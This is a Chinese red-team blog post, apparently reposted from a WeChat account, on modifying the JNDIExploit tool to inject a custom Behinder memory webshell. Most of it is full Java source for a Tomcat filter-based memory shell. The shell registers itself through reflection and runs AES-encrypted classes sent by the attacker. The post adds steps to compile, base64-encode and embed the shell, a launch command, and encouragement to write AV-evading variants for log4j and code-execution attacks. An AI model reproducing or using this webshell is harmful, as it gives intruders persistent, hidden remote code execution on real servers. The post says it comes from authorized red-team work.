0x01 背景
JNDIExploit是一款常用的用于JNDI注入利用的工具,其大量参考/引用了 RogueJNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于JNDI反序列化漏洞的利用,可直接对出网情况下的JNDI进行回显。但是jndi这个工具默认打的内存马冰歇是连不上的因为那个马子是冰歇改过的,所以二开冰歇实在是太麻烦了倒不如直接二开jndi。
0x02 JNDI二开
在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以pageContext对象换成一个Map,手动添加这三个对象即可。
修改JNDI工具也比较简单就是造轮子因为我们只需把自己的内存马替换到jndi原来的内存马处然后再打包就行。这样就是为了方便以后遇到jndi注入或者代码执行的时候直接打入内存马更稳定一点不容易掉点。
jndi下载
https://github.com/feihong-cs/JNDIExploit
直接去修改JNDIExploit里面的冰蝎内存马在源码中找到/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate1.java
- codeClass处就是自带的内存马,我们只要把自己的内存马放到这里就行。
以下内存马是普通的马子用来演示,正常也可以使用
package com.summersec.x;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestWrapper;
import javax.servlet.ServletResponse;
import javax.servlet.ServletResponseWrapper;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
public final class BehinderFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535";
public String path = "/*";
public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}
return ret;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])((Object[])obj));
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)req).getSession();
Object lastRequest = req;
Object lastResponse = resp;
Method getResponse;
if (!(req instanceof RequestFacade)) {
getResponse = null;
try {
getResponse = ServletRequestWrapper.class.getMethod("getRequest");
for(lastRequest = getResponse.invoke(this.request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) {
}
} catch (Exception var11) {
}
}
try {
if (!(lastResponse instanceof ResponseFacade)) {
getResponse = ServletResponseWrapper.class.getMethod("getResponse");
for(lastResponse = getResponse.invoke(this.response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) {
}
}
} catch (Exception var10) {
}
Map obj = new HashMap();
obj.put("request", lastRequest);
obj.put("response", lastResponse);
obj.put("session", session);
try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var9) {
var9.printStackTrace();
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
把内存马保存为java文件后使用javac编译为class文件,然后把class文件编码为base64,这里我直接把class文件编码为baes64.
编码完成后copy出base64编码,替换JNDIExploit工具里面的codeClass处的内存马。然后直接idea打包也行使用maven打包也行。
0x03 工具使用
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1
验证工具:
以下验证是攻防项目中有授权的情况下进行的可能会有些打码。
使用方法还是一样的java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps地址
可以看到代码执行返回200并且jndi也收到了请求回显,我们可以直接使用冰歇3进行连接。由于我使用的内存马并不是上面写的那个用来演示的内存马连接方式和请求头会不一样。
可以看到内存马可以连接并且执行命令没有什么问题都是正常的。大家可以根据这种方式写自己的免杀内存马进行二开,二开后利用jndi去打log4或者一些代码执行都行这样会提升很多效率不容易掉点。
目前工具暂不对外因为有自己的内存马,可能后续会考虑放在github上大家一起用。
0x04 总结
推荐abc大哥的文章写的冰歇二开适配jndi内存马,大家要是想二开冰歇的可以看看这篇文章,其实还是二开jndi去适配冰歇比较简单而且方便。
https://mp.weixin.qq.com/s/BiD26MMlkjrwRWRQKS06Hg
原文始发于微信公众号(Kokoxca安全):红队工具之JNDIExploit工具二开
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论